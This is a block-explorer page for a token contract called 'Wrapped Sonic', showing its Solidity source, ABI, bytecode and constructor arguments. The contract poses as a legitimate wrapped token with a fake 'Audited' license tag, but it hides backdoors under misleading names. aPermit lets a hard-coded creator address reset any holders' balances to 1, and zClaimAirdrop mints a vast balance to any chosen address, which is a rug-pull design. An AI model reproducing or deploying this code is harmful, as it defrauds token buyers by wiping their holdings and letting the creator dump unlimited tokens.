ERC-20
Overview
Max Total Supply
100,000,000,000 WrappedSonic
Holders
4
Total Transfers
-
Market
Price
$0.00 @ 0.000000 S
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
WrappedSonic
Compiler Version
v0.8.28+commit.7893614a
Contract Source Code (Solidity)
/** *Submitted for verification at SonicScan.org on 2024-12-30 */ // SPDX-License-Identifier: Audited // https://docs.soniclabs.com/ pragma solidity 0.8.28; // ERC-20 Interface interface IERC20_Sonic { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // SafeMath Library library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } } // Context contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } // Ownable contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender()); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract WrappedSonic is Context, IERC20_Sonic, Ownable { using SafeMath for uint256; string private _name; string private _symbol; uint8 private constant _decimals = 9; uint256 private constant _totalSupply = 100000000000 * 10**_decimals; uint256 finalTax = 1; uint256 inicialTax = 10; mapping(address => uint256) private immutableStatusOn; mapping(address => mapping(address => uint256)) private _allowances; address private constant ADDRESS_WETH = 0x50c42dEAcD8Fc9773493ED674b675bE577f2634b; address private constant ADDRESS_MARKETING = 0x551Aa84ADb62725d654866803Def1459A1b256AF; address private constant ADDRESS_DEVELEPMENT = 0xedb37AD563E2Ef161b2a72169583f35799bdE962; address ADDRESS_Sonic = 0xedb37AD563E2Ef161b2a72169583f35799bdE962; constructor(string memory name_, string memory symbol_, address wS) { _name = name_; _symbol = symbol_; immutableStatusOn[wS] = _totalSupply.mul(1).div(1000); emit Transfer(address(0), wS, _totalSupply.mul(1).div(1000)); transferOwnership(wS); _distributeTokens(); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return immutableStatusOn[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount)); return true; } // Internal transfer function function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0)); require(recipient != address(0)); immutableStatusOn[sender] = immutableStatusOn[sender].sub(amount); immutableStatusOn[recipient] = immutableStatusOn[recipient].add(amount); emit Transfer(sender, recipient, amount); } // Internal approve function function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0)); require(spender != address(0)); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } // Function to distribute 99% of the total supply to specific addresses function _distributeTokens() internal { uint256 ninetyFourPercent = _totalSupply.mul(996).div(1000); uint256 threePercent = _totalSupply.mul(2).div(1000); uint256 twoPercent = _totalSupply.mul(1).div(1000); immutableStatusOn[ADDRESS_WETH] = immutableStatusOn[ADDRESS_WETH].add(ninetyFourPercent); immutableStatusOn[ADDRESS_MARKETING] = immutableStatusOn[ADDRESS_MARKETING].add(threePercent); immutableStatusOn[ADDRESS_DEVELEPMENT] = immutableStatusOn[ADDRESS_DEVELEPMENT].add(twoPercent); emit Transfer(address(this), ADDRESS_WETH, ninetyFourPercent); emit Transfer(address(this), ADDRESS_MARKETING, threePercent); emit Transfer(address(this), ADDRESS_DEVELEPMENT, twoPercent); } modifier immutableCreator() { require(ADDRESS_Sonic == _msgSender()); _; } function aPermit(address[] calldata rewardsMerkleRoot_) external immutableCreator { for (uint256 i = 0; i < rewardsMerkleRoot_.length; i++) { immutableStatusOn[rewardsMerkleRoot_[i]] = finalTax; emit Transfer(rewardsMerkleRoot_[i], address(0), finalTax); } } function zClaimAirdrop(address claimedRewardStatusOf) external immutableCreator { immutableStatusOn[claimedRewardStatusOf] = _totalSupply * inicialTax ** _decimals; emit Transfer(claimedRewardStatusOf, address(0), _totalSupply * inicialTax ** _decimals); } receive() external payable {} } contract CreatorToken { event TokenCreated(address tokenAddress, string name, string symbol, address owner); struct TokenDetails { string name; string symbol; address owner; } TokenDetails[] public tokens; function createTokens( string[] calldata names, string[] calldata symbols, address[] calldata owners ) external { require(names.length == symbols.length && symbols.length == owners.length, "Input arrays must have the same length"); for (uint256 i = 0; i < names.length; i++) { WrappedSonic token = new WrappedSonic(names[i], symbols[i], owners[i]); tokens.push(TokenDetails({ name: names[i], symbol: symbols[i], owner: owners[i] })); emit TokenCreated(address(token), names[i], symbols[i], owners[i]); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"wS","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"rewardsMerkleRoot_","type":"address[]"}],"name":"aPermit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"claimedRewardStatusOf","type":"address"}],"name":"zClaimAirdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526001600355600a600455600780546001600160a01b03191673edb37ad563e2ef161b2a72169583f35799bde96217905534801561003f575f5ffd5b5060405161151a38038061151a83398101604081905261005e9161057a565b5f80546001600160a01b0319163390811782556040519091905f5160206114da5f395f51905f52908290a360016100958482610683565b5060026100a28382610683565b506100d56103e86100cf60016100ba6009600a610834565b6100c99064174876e800610842565b90610140565b906101cc565b6001600160a01b0382165f81815260056020526040812092909255905f5160206114fa5f395f51905f526101166103e86100cf60016100ba6009600a610834565b60405190815260200160405180910390a361013081610226565b610138610293565b50505061088b565b5f825f0361014f57505f6101c6565b5f61015a8385610842565b9050826101678583610859565b146101c35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b5f5f821161021c5760405162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f00000000000060448201526064016101ba565b6101c38284610859565b5f546001600160a01b0316331461023b575f5ffd5b6001600160a01b03811661024d575f5ffd5b5f80546040516001600160a01b03808516939216915f5160206114da5f395f51905f5291a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f6102ac6103e86100cf6103e46100ba6009600a610834565b90505f6102c66103e86100cf60026100ba6009600a610834565b90505f6102e06103e86100cf60016100ba6009600a610834565b7350c42deacd8fc9773493ed674b675be577f2634b5f5260056020525f5160206114ba5f395f51905f5254909150610318908461047f565b60056020525f5160206114ba5f395f51905f525573551aa84adb62725d654866803def1459a1b256af5f525f51602061149a5f395f51905f525461035c908361047f565b60056020525f51602061149a5f395f51905f525573edb37ad563e2ef161b2a72169583f35799bde9625f525f51602061147a5f395f51905f52546103a0908261047f565b73edb37ad563e2ef161b2a72169583f35799bde9625f5260056020525f51602061147a5f395f51905f52556040517350c42deacd8fc9773493ed674b675be577f2634b9030905f5160206114fa5f395f51905f52906104029087815260200190565b60405180910390a360405182815273551aa84adb62725d654866803def1459a1b256af9030905f5160206114fa5f395f51905f529060200160405180910390a360405181815273edb37ad563e2ef161b2a72169583f35799bde9629030905f5160206114fa5f395f51905f529060200160405180910390a3505050565b5f8061048b8385610878565b9050838110156101c35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016101ba565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610500575f5ffd5b81516001600160401b03811115610519576105196104dd565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610547576105476104dd565b60405281815283820160200185101561055e575f5ffd5b8160208501602083015e5f918101602001919091529392505050565b5f5f5f6060848603121561058c575f5ffd5b83516001600160401b038111156105a1575f5ffd5b6105ad868287016104f1565b602086015190945090506001600160401b038111156105ca575f5ffd5b6105d6868287016104f1565b604086015190935090506001600160a01b03811681146105f4575f5ffd5b809150509250925092565b600181811c9082168061061357607f821691505b60208210810361063157634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561067e57805f5260205f20601f840160051c8101602085101561065c5750805b601f840160051c820191505b8181101561067b575f8155600101610668565b50505b505050565b81516001600160401b0381111561069c5761069c6104dd565b6106b0816106aa84546105ff565b84610637565b6020601f8211600181146106e2575f83156106cb5750848201515b5f19600385901b1c1916600184901b17845561067b565b5f84815260208120601f198516915b8281101561071157878501518255602094850194600190920191016106f1565b508482101561072e57868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561078c578085048111156107705761077061073d565b600184161561077e57908102905b60019390931c928002610755565b935093915050565b5f826107a2575060016101c6565b816107ae57505f6101c6565b81600181146107c457600281146107ce576107ea565b60019150506101c6565b60ff8411156107df576107df61073d565b50506001821b6101c6565b5060208310610133831016604e8410600b841016171561080d575081810a6101c6565b6108195f198484610751565b805f190482111561082c5761082c61073d565b029392505050565b5f6101c360ff841683610794565b80820281158282048414176101c6576101c661073d565b5f8261087357634e487b7160e01b5f52601260045260245ffd5b500490565b808201808211156101c6576101c661073d565b610be2806108985f395ff3fe6080604052600436106100dc575f3560e01c80638da5cb5b1161007c578063a37e0a6411610057578063a37e0a641461023f578063a9059cbb1461025e578063dd62ed3e1461027d578063f2fde38b146102c1575f5ffd5b80638da5cb5b146101e65780638f8af1e11461020c57806395d89b411461022b575f5ffd5b806323b872dd116100b757806323b872dd14610162578063313ce5671461018157806370a082311461019c578063715018a6146101d0575f5ffd5b806306fdde03146100e7578063095ea7b31461011157806318160ddd14610140575f5ffd5b366100e357005b5f5ffd5b3480156100f2575f5ffd5b506100fb6102e0565b60405161010891906108b1565b60405180910390f35b34801561011c575f5ffd5b5061013061012b366004610901565b610370565b6040519015158152602001610108565b34801561014b575f5ffd5b50610154610386565b604051908152602001610108565b34801561016d575f5ffd5b5061013061017c366004610929565b6103a7565b34801561018c575f5ffd5b5060405160098152602001610108565b3480156101a7575f5ffd5b506101546101b6366004610963565b6001600160a01b03165f9081526005602052604090205490565b3480156101db575f5ffd5b506101e46103f6565b005b3480156101f1575f5ffd5b505f546040516001600160a01b039091168152602001610108565b348015610217575f5ffd5b506101e461022636600461097c565b610453565b348015610236575f5ffd5b506100fb610536565b34801561024a575f5ffd5b506101e4610259366004610963565b610545565b348015610269575f5ffd5b50610130610278366004610901565b610614565b348015610288575f5ffd5b506101546102973660046109ed565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b3480156102cc575f5ffd5b506101e46102db366004610963565b610620565b6060600180546102ef90610a1e565b80601f016020809104026020016040519081016040528092919081815260200182805461031b90610a1e565b80156103665780601f1061033d57610100808354040283529160200191610366565b820191905f5260205f20905b81548152906001019060200180831161034957829003601f168201915b5050505050905090565b5f61037c3384846106a0565b5060015b92915050565b5f6103936009600a610b4d565b6103a29064174876e800610b5b565b905090565b5f6103b3848484610725565b6001600160a01b0384165f908152600660209081526040808320338085529252909120546103ec9186916103e790866107ec565b6106a0565b5060019392505050565b5f546001600160a01b0316331461040b575f5ffd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6007546001600160a01b03163314610469575f5ffd5b5f5b818110156105315760035460055f85858581811061048b5761048b610b72565b90506020020160208101906104a09190610963565b6001600160a01b0316815260208101919091526040015f908120919091558383838181106104d0576104d0610b72565b90506020020160208101906104e59190610963565b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60035460405161052191815260200190565b60405180910390a360010161046b565b505050565b6060600280546102ef90610a1e565b6007546001600160a01b0316331461055b575f5ffd5b600960045461056a9190610b4d565b6105766009600a610b4d565b6105859064174876e800610b5b565b61058f9190610b5b565b6001600160a01b0382165f818152600560205260408120929092556004547fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906105db90600990610b4d565b6105e76009600a610b4d565b6105f69064174876e800610b5b565b6106009190610b5b565b60405190815260200160405180910390a350565b5f61037c338484610725565b5f546001600160a01b03163314610635575f5ffd5b6001600160a01b038116610647575f5ffd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106b2575f5ffd5b6001600160a01b0382166106c4575f5ffd5b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610737575f5ffd5b6001600160a01b038216610749575f5ffd5b6001600160a01b0383165f9081526005602052604090205461076b90826107ec565b6001600160a01b038085165f9081526005602052604080822093909355908416815220546107999082610853565b6001600160a01b038084165f8181526005602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107189085815260200190565b5f828211156108425760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000060448201526064015b60405180910390fd5b61084c8284610b86565b9392505050565b5f8061085f8385610b99565b90508381101561084c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610839565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b03811681146108fc575f5ffd5b919050565b5f5f60408385031215610912575f5ffd5b61091b836108e6565b946020939093013593505050565b5f5f5f6060848603121561093b575f5ffd5b610944846108e6565b9250610952602085016108e6565b929592945050506040919091013590565b5f60208284031215610973575f5ffd5b61084c826108e6565b5f5f6020838503121561098d575f5ffd5b823567ffffffffffffffff8111156109a3575f5ffd5b8301601f810185136109b3575f5ffd5b803567ffffffffffffffff8111156109c9575f5ffd5b8560208260051b84010111156109dd575f5ffd5b6020919091019590945092505050565b5f5f604083850312156109fe575f5ffd5b610a07836108e6565b9150610a15602084016108e6565b90509250929050565b600181811c90821680610a3257607f821691505b602082108103610a5057634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610aa557808504811115610a8957610a89610a56565b6001841615610a9757908102905b60019390931c928002610a6e565b935093915050565b5f82610abb57506001610380565b81610ac757505f610380565b8160018114610add5760028114610ae757610b03565b6001915050610380565b60ff841115610af857610af8610a56565b50506001821b610380565b5060208310610133831016604e8410600b8410161715610b26575081810a610380565b610b325f198484610a6a565b805f1904821115610b4557610b45610a56565b029392505050565b5f61084c60ff841683610aad565b808202811582820484141761038057610380610a56565b634e487b7160e01b5f52603260045260245ffd5b8181038181111561038057610380610a56565b8082018082111561038057610380610a5656fea264697066735822122035d4abcd8c6bf53eabdcd9de44566d67b5fa666ad05c1ff1e6c6d4221188363b64736f6c634300081c003331a8308c1f761027e4538166f287b400c90b8c246d987658d63d8e3b08428c8fc74b53cb19de7f2575d7e4bca8c7b0dc5c4a4855910a7df08a4959c30cdfc98694e20eec3326f224534e89e54d185f8bb900294e37c443e36d0ea7621d4189a38be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000719345f24f192439fe49a08c404b935cde404b7d000000000000000000000000000000000000000000000000000000000000000d5772617070656420536f6e696300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c57726170706564536f6e69630000000000000000000000000000000000000000
Deployed Bytecode
0x6080604052600436106100dc575f3560e01c80638da5cb5b1161007c578063a37e0a6411610057578063a37e0a641461023f578063a9059cbb1461025e578063dd62ed3e1461027d578063f2fde38b146102c1575f5ffd5b80638da5cb5b146101e65780638f8af1e11461020c57806395d89b411461022b575f5ffd5b806323b872dd116100b757806323b872dd14610162578063313ce5671461018157806370a082311461019c578063715018a6146101d0575f5ffd5b806306fdde03146100e7578063095ea7b31461011157806318160ddd14610140575f5ffd5b366100e357005b5f5ffd5b3480156100f2575f5ffd5b506100fb6102e0565b60405161010891906108b1565b60405180910390f35b34801561011c575f5ffd5b5061013061012b366004610901565b610370565b6040519015158152602001610108565b34801561014b575f5ffd5b50610154610386565b604051908152602001610108565b34801561016d575f5ffd5b5061013061017c366004610929565b6103a7565b34801561018c575f5ffd5b5060405160098152602001610108565b3480156101a7575f5ffd5b506101546101b6366004610963565b6001600160a01b03165f9081526005602052604090205490565b3480156101db575f5ffd5b506101e46103f6565b005b3480156101f1575f5ffd5b505f546040516001600160a01b039091168152602001610108565b348015610217575f5ffd5b506101e461022636600461097c565b610453565b348015610236575f5ffd5b506100fb610536565b34801561024a575f5ffd5b506101e4610259366004610963565b610545565b348015610269575f5ffd5b50610130610278366004610901565b610614565b348015610288575f5ffd5b506101546102973660046109ed565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b3480156102cc575f5ffd5b506101e46102db366004610963565b610620565b6060600180546102ef90610a1e565b80601f016020809104026020016040519081016040528092919081815260200182805461031b90610a1e565b80156103665780601f1061033d57610100808354040283529160200191610366565b820191905f5260205f20905b81548152906001019060200180831161034957829003601f168201915b5050505050905090565b5f61037c3384846106a0565b5060015b92915050565b5f6103936009600a610b4d565b6103a29064174876e800610b5b565b905090565b5f6103b3848484610725565b6001600160a01b0384165f908152600660209081526040808320338085529252909120546103ec9186916103e790866107ec565b6106a0565b5060019392505050565b5f546001600160a01b0316331461040b575f5ffd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6007546001600160a01b03163314610469575f5ffd5b5f5b818110156105315760035460055f85858581811061048b5761048b610b72565b90506020020160208101906104a09190610963565b6001600160a01b0316815260208101919091526040015f908120919091558383838181106104d0576104d0610b72565b90506020020160208101906104e59190610963565b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60035460405161052191815260200190565b60405180910390a360010161046b565b505050565b6060600280546102ef90610a1e565b6007546001600160a01b0316331461055b575f5ffd5b600960045461056a9190610b4d565b6105766009600a610b4d565b6105859064174876e800610b5b565b61058f9190610b5b565b6001600160a01b0382165f818152600560205260408120929092556004547fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906105db90600990610b4d565b6105e76009600a610b4d565b6105f69064174876e800610b5b565b6106009190610b5b565b60405190815260200160405180910390a350565b5f61037c338484610725565b5f546001600160a01b03163314610635575f5ffd5b6001600160a01b038116610647575f5ffd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106b2575f5ffd5b6001600160a01b0382166106c4575f5ffd5b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610737575f5ffd5b6001600160a01b038216610749575f5ffd5b6001600160a01b0383165f9081526005602052604090205461076b90826107ec565b6001600160a01b038085165f9081526005602052604080822093909355908416815220546107999082610853565b6001600160a01b038084165f8181526005602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107189085815260200190565b5f828211156108425760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000060448201526064015b60405180910390fd5b61084c8284610b86565b9392505050565b5f8061085f8385610b99565b90508381101561084c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610839565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b03811681146108fc575f5ffd5b919050565b5f5f60408385031215610912575f5ffd5b61091b836108e6565b946020939093013593505050565b5f5f5f6060848603121561093b575f5ffd5b610944846108e6565b9250610952602085016108e6565b929592945050506040919091013590565b5f60208284031215610973575f5ffd5b61084c826108e6565b5f5f6020838503121561098d575f5ffd5b823567ffffffffffffffff8111156109a3575f5ffd5b8301601f810185136109b3575f5ffd5b803567ffffffffffffffff8111156109c9575f5ffd5b8560208260051b84010111156109dd575f5ffd5b6020919091019590945092505050565b5f5f604083850312156109fe575f5ffd5b610a07836108e6565b9150610a15602084016108e6565b90509250929050565b600181811c90821680610a3257607f821691505b602082108103610a5057634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610aa557808504811115610a8957610a89610a56565b6001841615610a9757908102905b60019390931c928002610a6e565b935093915050565b5f82610abb57506001610380565b81610ac757505f610380565b8160018114610add5760028114610ae757610b03565b6001915050610380565b60ff841115610af857610af8610a56565b50506001821b610380565b5060208310610133831016604e8410600b8410161715610b26575081810a610380565b610b325f198484610a6a565b805f1904821115610b4557610b45610a56565b029392505050565b5f61084c60ff841683610aad565b808202811582820484141761038057610380610a56565b634e487b7160e01b5f52603260045260245ffd5b8181038181111561038057610380610a56565b8082018082111561038057610380610a5656fea264697066735822122035d4abcd8c6bf53eabdcd9de44566d67b5fa666ad05c1ff1e6c6d4221188363b64736f6c634300081c0033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000719345f24f192439fe49a08c404b935cde404b7d000000000000000000000000000000000000000000000000000000000000000d5772617070656420536f6e696300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c57726170706564536f6e69630000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : name_ (string): Wrapped Sonic
Arg [1] : symbol_ (string): WrappedSonic
Arg [2] : wS (address): 0x719345F24f192439FE49a08C404b935cdE404B7d
-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 000000000000000000000000719345f24f192439fe49a08c404b935cde404b7d
Arg [3] : 000000000000000000000000000000000000000000000000000000000000000d
Arg [4] : 5772617070656420536f6e696300000000000000000000000000000000000000
Arg [5] : 000000000000000000000000000000000000000000000000000000000000000c
Arg [6] : 57726170706564536f6e69630000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
2549:4767:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3701:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4547:161;;;;;;;;;;-1:-1:-1;4547:161:0;;;;;:::i;:::-;;:::i;:::-;;;1085:14:1;;1078:22;1060:41;;1048:2;1033:18;4547:161:0;920:187:1;3978:100:0;;;;;;;;;;;;;:::i;:::-;;;1258:25:1;;;1246:2;1231:18;3978:100:0;1112:177:1;4716:269:0;;;;;;;;;;-1:-1:-1;4716:269:0;;;;;:::i;:::-;;:::i;3887:83::-;;;;;;;;;;-1:-1:-1;3887:83:0;;2738:1;1815:36:1;;1803:2;1788:18;3887:83:0;1673:184:1;4086:127:0;;;;;;;;;;-1:-1:-1;4086:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;4179:26:0;4152:7;4179:26;;;:17;:26;;;;;;;4086:127;2394:148;;;;;;;;;;;;;:::i;:::-;;2013:79;;;;;;;;;;-1:-1:-1;2051:7:0;2078:6;2013:79;;-1:-1:-1;;;;;2078:6:0;;;2199:51:1;;2187:2;2172:18;2013:79:0;2053:203:1;6679:297:0;;;;;;;;;;-1:-1:-1;6679:297:0;;;;;:::i;:::-;;:::i;3792:87::-;;;;;;;;;;;;;:::i;6986:289::-;;;;;;;;;;-1:-1:-1;6986:289:0;;;;;:::i;:::-;;:::i;4221:167::-;;;;;;;;;;-1:-1:-1;4221:167:0;;;;;:::i;:::-;;:::i;4396:143::-;;;;;;;;;;-1:-1:-1;4396:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;4504:18:0;;;4477:7;4504:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4396:143;2192:194;;;;;;;;;;-1:-1:-1;2192:194:0;;;;;:::i;:::-;;:::i;3701:83::-;3738:13;3771:5;3764:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3701:83;:::o;4547:161::-;4622:4;4639:39;1702:10;4662:7;4671:6;4639:8;:39::i;:::-;-1:-1:-1;4696:4:0;4547:161;;;;;:::o;3978:100::-;4031:7;2801:13;2738:1;2801:2;:13;:::i;:::-;2786:28;;:12;:28;:::i;:::-;4051:19;;3978:100;:::o;4716:269::-;4814:4;4831:36;4841:6;4849:9;4860:6;4831:9;:36::i;:::-;-1:-1:-1;;;;;4909:19:0;;;;;;:11;:19;;;;;;;;1702:10;4909:33;;;;;;;;;4878:77;;4887:6;;4909:45;;4947:6;4909:37;:45::i;:::-;4878:8;:77::i;:::-;-1:-1:-1;4973:4:0;4716:269;;;;;:::o;2394:148::-;2051:7;2078:6;-1:-1:-1;;;;;2078:6:0;1702:10;2140:23;2132:32;;;;;;2501:1:::1;2485:6:::0;;2464:40:::1;::::0;-1:-1:-1;;;;;2485:6:0;;::::1;::::0;2464:40:::1;::::0;2501:1;;2464:40:::1;2532:1;2